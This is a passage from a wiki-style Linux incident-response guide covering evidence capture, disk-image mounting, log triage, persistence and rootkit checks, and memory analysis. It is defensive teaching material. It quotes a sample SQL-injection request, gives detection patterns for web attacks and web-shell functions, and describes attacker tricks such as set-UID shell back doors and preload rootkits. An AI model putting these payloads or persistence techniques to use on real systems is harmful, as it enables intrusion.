| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with an overview, and then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

